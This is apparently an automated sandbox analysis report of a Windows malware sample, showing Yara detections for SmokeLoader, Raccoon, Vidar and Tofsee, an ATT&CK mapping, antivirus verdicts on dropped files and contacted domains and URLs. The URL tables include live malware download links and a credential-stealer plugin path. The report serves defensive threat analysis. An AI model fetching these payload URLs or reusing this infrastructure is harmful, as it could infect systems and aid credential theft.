Source: Yara match	File source: 39.0.FA5C.exe.400000.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.0.FA5C.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.0.FA5C.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.2.FA5C.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.FA5C.exe.3a8f910.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.FA5C.exe.3a8f910.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.0.FA5C.exe.400000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000027.00000002.933081162.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000000.824314083.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000000.824767570.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000000.823843288.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.833273258.0000000003971000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000000.825252840.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 16.2.95C6.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.sbxGIUIhRd.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.sbxGIUIhRd.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.0.95C6.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.1.adijaeg.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.sbxGIUIhRd.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.sbxGIUIhRd.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.1.sbxGIUIhRd.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.95C6.exe.5615a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.0.95C6.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.adijaeg.5615a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.1.95C6.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.0.95C6.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.sbxGIUIhRd.exe.5615a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.adijaeg.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.767064606.0000000000561000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.719013921.0000000000580000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002C.00000002.921866016.0000000001F51000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.706607181.0000000004DC1000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.787707490.0000000002051000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.719027443.00000000005A1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.787566424.0000000002030000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002C.00000002.920736016.0000000000530000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.766964771.0000000000420000.00000004.00000001.sdmp, type: MEMORY

Yara detected Raccoon Stealer

Show sources

Source: Yara match	File source: 00000029.00000002.932916871.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000003.866964276.0000000004E90000.00000004.00000001.sdmp, type: MEMORY

Yara detected Vidar stealer

Show sources

Source: Yara match	File source: 00000012.00000002.778871372.0000000000873000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: CFE8.exe PID: 4296, type: MEMORYSTR

Yara detected Tofsee

Show sources

Source: Yara match	File source: 19.2.E2A6.exe.560e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 38.2.svchost.exe.2360000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.3.gaystiqf.exe.650000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.3.E2A6.exe.580000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.E2A6.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.gaystiqf.exe.850000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.gaystiqf.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.E2A6.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.gaystiqf.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.gaystiqf.exe.630e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 38.2.svchost.exe.2360000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.gaystiqf.exe.850000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000026.00000002.979557466.0000000002360000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.809196350.0000000000630000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000003.805779040.0000000000650000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.808208197.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.803426452.0000000000560000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.785124178.0000000000580000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.809631719.0000000000850000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: E2A6.exe PID: 4752, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: gaystiqf.exe PID: 4588, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 5288, type: MEMORYSTR

Source: C:\Users\user\AppData\Local\Temp\E2A6.exe	Code function: 19_2_004088B0 CreateThread,CreateThread,send,recv,socket,connect,closesocket,setsockopt,bind,listen,accept,select,getpeername,getsockname,		19_2_004088B0
Source: C:\Windows\SysWOW64\txlhcyih\gaystiqf.exe	Code function: 35_2_004088B0 CreateThread,CreateThread,send,recv,socket,connect,closesocket,setsockopt,bind,listen,accept,select,getpeername,getsockname,		35_2_004088B0

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts1	Scripting1	DLL Side-Loading1	DLL Side-Loading1	Disable or Modify Tools211	Input Capture1	System Time Discovery2	Remote Services	Archive Collected Data11	Exfiltration Over Other Network Medium	Web Service1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Native API531	Valid Accounts1	Valid Accounts1	Deobfuscate/Decode Files or Information11	LSASS Memory	Account Discovery1	Remote Desktop Protocol	Data from Local System1	Exfiltration Over Bluetooth	Ingress Tool Transfer15	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Exploitation for Client Execution1	Windows Service14	Access Token Manipulation1	Scripting1	Security Account Manager	File and Directory Discovery2	SMB/Windows Admin Shares	Input Capture1	Automated Exfiltration	Encrypted Channel22	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	Command and Scripting Interpreter3	Logon Script (Mac)	Windows Service14	Obfuscated Files or Information3	NTDS	System Information Discovery227	Distributed Component Object Model	Input Capture	Scheduled Transfer	Non-Standard Port1	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Service Execution3	Network Logon Script	Process Injection713	Software Packing33	LSA Secrets	Security Software Discovery551	SSH	Keylogging	Data Transfer Size Limits	Non-Application Layer Protocol5	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Timestomp1	Cached Domain Credentials	Process Discovery2	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Application Layer Protocol36	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	DLL Side-Loading1	DCSync	Virtualization/Sandbox Evasion231	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	File Deletion1	Proc Filesystem	Application Window Discovery1	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Masquerading131	/etc/passwd and /etc/shadow	System Owner/User Discovery1	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	Valid Accounts1	Network Sniffing	Remote System Discovery1	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact
Compromise Software Dependencies and Development Tools	Windows Command Shell	Cron	Cron	Access Token Manipulation1	Input Capture	Permission Groups Discovery	Replication Through Removable Media	Remote Data Staging	Exfiltration Over Physical Medium	Mail Protocols			Service Stop
Compromise Software Supply Chain	Unix Shell	Launchd	Launchd	Virtualization/Sandbox Evasion231	Keylogging	Local Groups	Component Object Model and Distributed COM	Screen Capture	Exfiltration over USB	DNS			Inhibit System Recovery
Compromise Hardware Supply Chain	Visual Basic	Scheduled Task	Scheduled Task	Process Injection713	GUI Input Capture	Domain Groups	Exploitation of Remote Services	Email Collection	Commonly Used Port	Proxy			Defacement
Trusted Relationship	Python	Hypervisor	Process Injection	Hidden Files and Directories1	Web Portal Capture	Cloud Groups	Attack PC via USB Connection	Local Email Collection	Standard Application Layer Protocol	Internal Proxy			Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
sbxGIUIhRd.exe	36%	Virustotal		Browse
sbxGIUIhRd.exe	49%	ReversingLabs	Win32.Trojan.Generic
sbxGIUIhRd.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\gaystiqf.exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Temp\FA5C.exe	100%	Avira	HEUR/AGEN.1211353
C:\Users\user\AppData\Local\Temp\8A6B.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\adijaeg	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\B3EB.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\96DB.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\CF17.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\CFE8.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\A15C.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\95C6.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\E2A6.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\BBBC.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\7D38.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\C487.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\gaystiqf.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\FA5C.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\7D38.exe	34%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\7D38.exe	77%	ReversingLabs	Win32.Ransomware.StopCrypt

Unpacked PE Files

Source	Detection	Scanner	Label	Download
18.3.CFE8.exe.650000.0.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
39.2.FA5C.exe.ab0000.1.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
19.2.E2A6.exe.560e50.1.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
39.0.FA5C.exe.400000.12.unpack	100%	Avira	HEUR/AGEN.1145065	Download File
21.0.FA5C.exe.530000.0.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
39.0.FA5C.exe.ab0000.7.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
16.2.95C6.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
18.2.CFE8.exe.630e50.1.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
1.0.sbxGIUIhRd.exe.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
12.0.8A6B.exe.590e50.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
39.0.FA5C.exe.400000.4.unpack	100%	Avira	HEUR/AGEN.1145065	Download File
39.0.FA5C.exe.ab0000.2.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
12.0.8A6B.exe.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
39.0.FA5C.exe.400000.6.unpack	100%	Avira	HEUR/AGEN.1145065	Download File
39.0.FA5C.exe.400000.8.unpack	100%	Avira	HEUR/AGEN.1145065	Download File
1.0.sbxGIUIhRd.exe.400000.2.unpack	100%	Avira	HEUR/AGEN.1123244	Download File
9.2.adijaeg.5615a0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
38.3.svchost.exe.284d000.3.unpack	100%	Avira	TR/Patched.Gen	Download File
1.0.sbxGIUIhRd.exe.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
39.2.FA5C.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1145065	Download File
35.2.gaystiqf.exe.630e50.1.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
13.2.95C6.exe.5615a0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
12.2.8A6B.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
39.0.FA5C.exe.ab0000.9.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
35.3.gaystiqf.exe.650000.0.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
16.0.95C6.exe.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
19.3.E2A6.exe.580000.0.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
16.0.95C6.exe.400000.2.unpack	100%	Avira	HEUR/AGEN.1123244	Download File
39.0.FA5C.exe.ab0000.3.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
0.2.sbxGIUIhRd.exe.5615a0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
18.2.CFE8.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
12.0.8A6B.exe.590e50.7.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
21.2.FA5C.exe.530000.0.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
10.1.adijaeg.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
1.0.sbxGIUIhRd.exe.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
1.0.sbxGIUIhRd.exe.400000.1.unpack	100%	Avira	HEUR/AGEN.1123244	Download File
1.0.sbxGIUIhRd.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1123244	Download File
19.2.E2A6.exe.400000.0.unpack	100%	Avira	BDS/Backdoor.Gen	Download File
1.2.sbxGIUIhRd.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
35.2.gaystiqf.exe.400000.0.unpack	100%	Avira	BDS/Backdoor.Gen	Download File
12.3.8A6B.exe.6f0000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
10.0.adijaeg.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
12.0.8A6B.exe.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
39.0.FA5C.exe.ab0000.0.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
16.0.95C6.exe.400000.3.unpack	100%	Avira	HEUR/AGEN.1123244	Download File
10.0.adijaeg.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
1.1.sbxGIUIhRd.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
39.0.FA5C.exe.ab0000.11.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
21.0.FA5C.exe.530000.2.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
16.0.95C6.exe.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
39.0.FA5C.exe.ab0000.5.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
38.2.svchost.exe.2360000.0.unpack	100%	Avira	BDS/Backdoor.Gen	Download File
1.0.sbxGIUIhRd.exe.400000.3.unpack	100%	Avira	HEUR/AGEN.1123244	Download File
21.0.FA5C.exe.530000.1.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
16.0.95C6.exe.400000.1.unpack	100%	Avira	HEUR/AGEN.1123244	Download File
10.0.adijaeg.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
39.0.FA5C.exe.ab0000.1.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
12.2.8A6B.exe.590e50.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
39.0.FA5C.exe.400000.10.unpack	100%	Avira	HEUR/AGEN.1145065	Download File
16.1.95C6.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
35.2.gaystiqf.exe.850000.2.unpack	100%	Avira	BDS/Backdoor.Gen	Download File
21.0.FA5C.exe.530000.3.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
39.0.FA5C.exe.ab0000.13.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
38.3.svchost.exe.284d000.4.unpack	100%	Avira	TR/Patched.Gen	Download File
16.0.95C6.exe.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
10.2.adijaeg.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
16.0.95C6.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1123244	Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://tempuri.org/Entity/Id12Response	0%	URL Reputation	safe
http://185.7.214.171:8080/6.php	100%	URL Reputation	malware
http://tempuri.org/	0%	URL Reputation	safe
http://tempuri.org/Entity/Id2Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id21Response	0%	URL Reputation	safe
http://185.163.204.24//l/f/S2zKVH4BZ2GIX1a3NFPE/cae3f8ed633c3e67f112fa91bf9f9a15abbe2944	0%	Avira URL Cloud	safe
http://185.215.113.35/d2VxjasuwS/index.php?scr=1	13%	Virustotal		Browse
http://185.215.113.35/d2VxjasuwS/index.php?scr=1	0%	Avira URL Cloud	safe
http://185.163.204.24/	4%	Virustotal		Browse
http://185.163.204.24/	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id15Response	0%	URL Reputation	safe
https://api.ip.sb/ip	0%	URL Reputation	safe
http://81.163.30.181/1.exe	100%	Avira URL Cloud	malware
http://tempuri.org/Entity/Id24Response	0%	URL Reputation	safe
http://data-host-coin-8.com/files/9030_1641816409_7037.exe	100%	Avira URL Cloud	malware
http://tempuri.org/Entity/Id5Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id10Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id8Response	0%	URL Reputation	safe
http://data-host-coin-8.com/game.exe	0%	URL Reputation	safe
http://tempuri.org/Entity/Id13Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id22Response	0%	URL Reputation	safe
https://www.tiktok.com/legal/report/feedback	0%	URL Reputation	safe
https://get.adob	0%	URL Reputation	safe
http://tempuri.org/Entity/Id18Response	0%	URL Reputation	safe
http://185.215.113.35/d2VxjasuwS/plugins/cred.dll	100%	Avira URL Cloud	malware
https://disneyplus.com/legal.	0%	URL Reputation	safe
http://tempuri.org/Entity/Id3Response	0%	URL Reputation	safe
http://service.r	0%	URL Reputation	safe
http://185.215.113.35/d2VxjasuwS/index.php	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id9	0%	URL Reputation	safe
http://tempuri.org/Entity/Id8	0%	URL Reputation	safe
http://data-host-coin-8.com/files/6961_1642089187_2359.exe	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
pool-fr.supportxmr.com	149.202.83.171	true	false	high
unicupload.top	54.38.220.85	true	false	high
host-data-coin-11.com	8.209.70.0	true	false	high
patmushta.info	94.142.143.116	true	false	high
cdn.discordapp.com	162.159.135.233	true	false	high
privacy-tools-for-you-780.com	8.209.70.0	true	false	high
microsoft-com.mail.protection.outlook.com	104.47.54.36	true	false	high
goo.su	172.67.139.105	true	false	high
transfer.sh	144.76.136.153	true	false	high
data-host-coin-8.com	8.209.70.0	true	false	high
pool.supportxmr.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.7.214.171:8080/6.php	true	URL Reputation: malware	unknown
http://185.163.204.24//l/f/S2zKVH4BZ2GIX1a3NFPE/cae3f8ed633c3e67f112fa91bf9f9a15abbe2944	true	Avira URL Cloud: safe	unknown
http://185.215.113.35/d2VxjasuwS/index.php?scr=1	true	13%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://185.163.204.24/	true	4%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://81.163.30.181/1.exe	true	Avira URL Cloud: malware	unknown
http://data-host-coin-8.com/files/9030_1641816409_7037.exe	true	Avira URL Cloud: malware	unknown
http://data-host-coin-8.com/game.exe	false	URL Reputation: safe	unknown
http://185.215.113.35/d2VxjasuwS/plugins/cred.dll	true	Avira URL Cloud: malware	unknown
http://185.215.113.35/d2VxjasuwS/index.php	true	Avira URL Cloud: safe	unknown
http://data-host-coin-8.com/files/6961_1642089187_2359.exe	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text	FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/sc/sct	FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	false		high
https://duckduckgo.com/chrome_newtab	FA5C.exe, 00000027.00000002.1016026617.00000000030C9000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.976385152.0000000003007000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.1075583600.000000000321E000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.978852970.000000000301D000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.1021158613.00000000030DF000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk	FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	false		high
https://duckduckgo.com/ac/?q=	FA5C.exe, 00000027.00000002.1021158613.00000000030DF000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id12Response	FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/	FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id2Response	FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1	FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id21Response	FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap	FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID	FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret	FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	false		high
https://support.google.com/chrome/?p=plugin_real	FA5C.exe, 00000027.00000002.978852970.000000000301D000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue	FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted	FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence	FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/fault	FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat	FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id15Response	FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew	FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register	FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey	FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	false		high
https://api.ip.sb/ip	FA5C.exe, 00000015.00000002.833273258.0000000003971000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.933081162.0000000000402000.00000040.00000001.sdmp, FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel	FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	FA5C.exe, 00000027.00000002.1021158613.00000000030DF000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1	FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id24Response	FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested	FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego	FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing	FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	false		high
https://support.google.com/chrome/?p=plugin_shockwave	FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue	FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse	FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	false		high
